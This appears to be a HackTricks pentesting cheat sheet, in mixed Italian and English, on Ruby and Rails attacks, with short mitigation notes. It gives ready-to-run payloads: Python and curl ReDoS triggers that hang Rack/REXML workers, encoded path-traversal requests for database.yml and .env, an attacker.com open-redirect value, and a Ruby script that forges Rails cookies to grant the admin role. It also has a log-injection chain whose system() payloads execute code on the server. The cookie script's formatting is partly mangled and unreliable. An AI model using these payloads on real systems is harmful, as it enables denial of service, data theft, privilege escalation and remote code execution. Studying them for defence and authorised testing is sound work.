Trucchi Ruby

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Caricamento file per RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

Consigli:

  • Altri percorsi di boot/eager-load che vengono eseguiti all’avvio dell’app sono rischiosi se scrivibili (es. config/initializers/ è il classico). Se trovi un upload arbitrario che finisce in qualsiasi punto sotto config/ e viene poi valutato/required, potresti ottenere RCE all’avvio.
  • Cerca build di dev/staging che copiano file controllati dall’utente nell’immagine del container dove Rails li caricherà al boot.

Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

  • A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • Cosa provare durante i test

  • Identifica endpoint che accettano opzioni variant/processing, nomi di trasformazione o argomenti ImageMagick arbitrari.

  • Fuzz params[:t] e params[:v] cercando errori sospetti o side-effect di esecuzione. Se puoi influenzare il nome del metodo o passare argomenti raw che raggiungono MiniMagick, potresti ottenere code exec sull’host che elabora le immagini.

  • Se hai solo accesso in lettura alle variant generate, prova esfiltrazione blind tramite operazioni ImageMagick appositamente costruite.

  • Mitigazioni/rilevamenti

  • Se vedi Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + image_processing + mini_magick e trasformazioni controllate dall’utente, consideralo sfruttabile. Raccomanda l’aggiornamento e l’applicazione di allowlist rigorose per metodi/param e una policy ImageMagick più restrittiva.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

  • Cerca app che montano Rack::Static in config.ru o nello stack di middleware. Prova traversals codificati contro percorsi statici, per esempio:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Adatta il prefisso per farlo corrispondere a urls: configurati. Se l’app risponde con il contenuto del file, probabilmente hai LFI verso qualsiasi cosa sotto il :root risolto.

  • Mitigazione: aggiorna Rack; assicurati che :root punti solo a una directory di file pubblici ed è impostato esplicitamente.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 and < 2.2.8.1 spent super-linear time parsing crafted Content-Type: multipart/form-data headers. A single POST with a gigantic A= parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.

  • Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Funziona contro qualsiasi stack basato su Rack (Rails/Sinatra/Hanami/Grape). Se è davanti nginx/haproxy con keep-alive, ripeti in parallelo per esaurire i worker.
  • Fix applicato rendendo il parser lineare; cerca versioni del gem rack < 3.0.9.1 o < 2.2.8.1. In assessment, segnala che i WAF raramente bloccano questo perché l’header è sintatticamente valido.

REXML XML parser ReDoS (CVE-2024-49761)

The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., &#1111111111111x41;). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.

Minimal trigger against a Rails endpoint that parses XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

Se il processo rimane occupato per alcuni secondi e la worker CPU schizza, è probabile che sia vulnerabile. L’attacco è a basso consumo di banda e colpisce anche i background jobs che elaborano XML.

Le app che usano la gem cgi (di default in molti stack Rack) possono essere bloccate con un singolo header malevolo:

  • CGI::Cookie.parse aveva complessità super-lineare; stringhe di cookie enormi (migliaia di delimitatori) scatenano comportamento O(N²).
  • CGI::Util#escapeElement regex permetteva ReDoS sull’escaping HTML.

Entrambi i problemi sono stati risolti in cgi 0.3.5.1 / 0.3.7 / 0.4.2. Per pentests, invia un enorme header Cookie: o fornisci HTML non attendibile al codice helper e osserva il blocco del worker. Combina con keep-alive per amplificare.

La gem googlesign_in < 1.3.0 (usata per Google OAuth su Rails) eseguiva un controllo same-origin incompleto sul parametro proceedto. Un URL malformato come proceedto=//attacker.com/%2F.. bypassa il controllo e reindirizza l’utente fuori sito preservando le flash/session cookies di Rails.

Exploit flow:

  1. La vittima clicca un link Google Sign-In appositamente costruito e ospitato dall’attaccante.
  2. Dopo l’autenticazione, la gem reindirizza verso un dominio controllato dall’attaccante, leaking flash notices o qualsiasi dato memorizzato nei cookie scoped al dominio wildcard.
  3. Se l’app memorizza token a breve durata o magic links nella flash, questo può essere sfruttato per un account takeover.

Durante i test, fai grep su Gemfile.lock per googlesign_in < 1.3.0 e prova valori malformati per proceedto. Conferma tramite l’header Location e la reflection dei cookie.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails cripta e firma i cookie usando chiavi derivate da secret_key_base. Se quel valore leaks (es. in un repo, nei log, o in credenziali mal configurate), di solito puoi decriptare, modificare e ri-criptare i cookie. Questo spesso porta a un bypass di authz se l’app memorizza ruoli, user IDs, o feature flags nei cookie.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby per decriptare/forgiare cookie ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Note:
- Le app più datate possono usare AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, o serializer JSON/Marshal. Adatta salts, cipher e serializer di conseguenza.
- In caso di compromissione/assessment, ruota `secret_key_base` per invalidare tutti i cookie esistenti.

## Vedi anche (Ruby/Rails-specific vulns)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Quando un'app (spesso un semplice endpoint Rack/Sinatra/Rails) fa entrambe le cose:
- registra una stringa controllata dall'utente letteralmente, e
- in seguito esegue `load` su un file il cui percorso è derivato dalla stessa stringa (dopo `Pathname#cleanpath`),

Spesso è possibile ottenere remote code execution (RCE) avvelenando il log e poi costringendo l'app a `load`are il file di log. Primitive chiave:

- Ruby `load` valuta il contenuto del file target come Ruby indipendentemente dall'estensione del file. Qualsiasi file di testo leggibile il cui contenuto sia parsabile come Ruby verrà eseguito.
- `Pathname#cleanpath` collassa i segmenti `.` e `..` senza accedere al filesystem, abilitando il path smuggling: dati controllati dall'attaccante possono essere anteposti per il logging mentre il percorso pulito risultante continua a risolversi nel file destinato all'esecuzione (es., `../logs/error.log`).

### Pattern vulnerabile minimo
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Perché il log può contenere Ruby valido

Logger scrive righe di prefisso come:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

In Ruby, # avvia un commento e 9/2/2025 è solo aritmetica. Per iniettare codice Ruby valido devi:

  • Inizia il tuo payload su una nuova riga in modo che non venga commentato dal # nella INFO line; invia un newline iniziale (\n o %0A).
  • Chiudi la [ pendente introdotta dalla INFO line. Un trucco comune è iniziare con ] e opzionalmente rendere felice il parser con ][0]=1.
  • Poi inserisci codice Ruby arbitrario (es., system(...)).

Esempio di ciò che finirà nel log dopo una richiesta con un crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Contrabbandare una singola stringa che al contempo registra codice e risolve nel percorso di log

Vogliamo una singola stringa controllata dall’attaccante che:

  • quando registrata raw, contenga il nostro payload Ruby, e
  • quando passata attraverso Pathname.new(<input>).cleanpath, risolva in ../logs/error.log così che il successivo load esegua il file di log appena avvelenato.

Pathname#cleanpath ignora gli scheme e riduce i componenti di traversal, quindi quanto segue funziona:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Il # prima di :// assicura che Ruby ignori la parte finale quando il log viene eseguito, mentre cleanpath riduce comunque il suffisso a ../logs/error.log.
  • La newline iniziale esce dalla riga INFO; ] chiude la parentesi quadra pendente; ][0]=1 soddisfa il parser.

Sfruttamento end-to-end

  1. Invia il seguente nome di script di backup (URL-encoda la prima newline come %0A se necessario):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. L’app registra la tua stringa grezza in logs/error.log.
  2. L’app calcola cleanpath che risolve in ../logs/error.log e chiama load su di esso.
  3. Ruby esegue il codice che hai iniettato nel log.

Per esfiltrare un file in un ambiente tipo CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (il primo carattere è un newline):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks